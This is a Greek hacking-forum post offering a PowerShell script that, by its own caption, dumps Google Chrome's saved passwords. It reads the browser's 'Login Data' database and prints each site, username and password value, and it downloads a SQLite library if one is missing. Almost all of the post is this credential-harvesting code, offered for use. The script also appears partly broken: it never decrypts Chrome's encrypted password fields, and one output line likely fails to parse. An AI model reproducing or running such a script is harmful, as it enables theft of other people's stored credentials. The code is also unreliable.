Μετάβαση στο περιεχόμενο
  • ChatBox

    ChatBox

    Chatroom Rules

    • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
    • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
    • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
    • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
GreekIPTV

PowerShell - Google Chrome Passwords

Recommended Posts

GreekIPTV

Για να μπορείτε να κάνετε dump τους αποθηκευμένους κωδικούς του Chrome.

# Check if the System.Data.SQLite assembly is already loaded
if (-not (Get-Module -Name "System.Data.SQLite")) {
  # Check if the assembly is installed in the default location
  if (Test-Path "C:\Windows\assembly\System.Data.SQLite.dll") {
    # Assembly is installed, load it into the current PowerShell session
    Add-Type -Path "C:\Windows\assembly\System.Data.SQLite.dll"
  } else {
    # Assembly is not installed, download and extract it
    $url = "https://system.data.sqlite.org/downloads/1.0.111.0/sqlite-netFx20-binary-bundle-Win32-2005-1.0.111.0.zip"
    $zipFile = "$env:TEMP\sqlite-netFx20-binary-bundle.zip"
    Invoke-WebRequest -Uri $url -OutFile $zipFile
    Expand-Archive -Path $zipFile -DestinationPath "$env:TEMP"
    Add-Type -Path "$env:TEMP\sqlite-netFx20-binary-bundle\bin\System.Data.SQLite.dll"
  }
}

# Define the path to the login data file
$loginDataFile = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

# Open a connection to the login data file
$connectionString = "Data Source=$loginDataFile;Version=3;Pooling=True;Max Pool Size=100;"
$connection = New-Object System.Data.SQLite.SQLiteConnection($connectionString)
$connection.Open()

# Execute a SQL query to select the password entries
$command = $connection.CreateCommand()
$command.CommandText = "SELECT origin_url, username_value, password_value FROM logins"
$reader = $command.ExecuteReader()

# Iterate through the password entries and output them to the console
while ($reader.Read()) {
  $originUrl = $reader["origin_url"]
  $username = $reader["username_value"]
  $password = $reader["password_value"]
  Write-Output "$originUrl: $username: $password"
}

# Close the connection to the login data file
$connection.Close()

 

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Απάντηση στο θέμα...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



ChatBox

ChatBox

Chatroom Rules

  • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
  • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
  • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
  • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
×
×
  • Create New...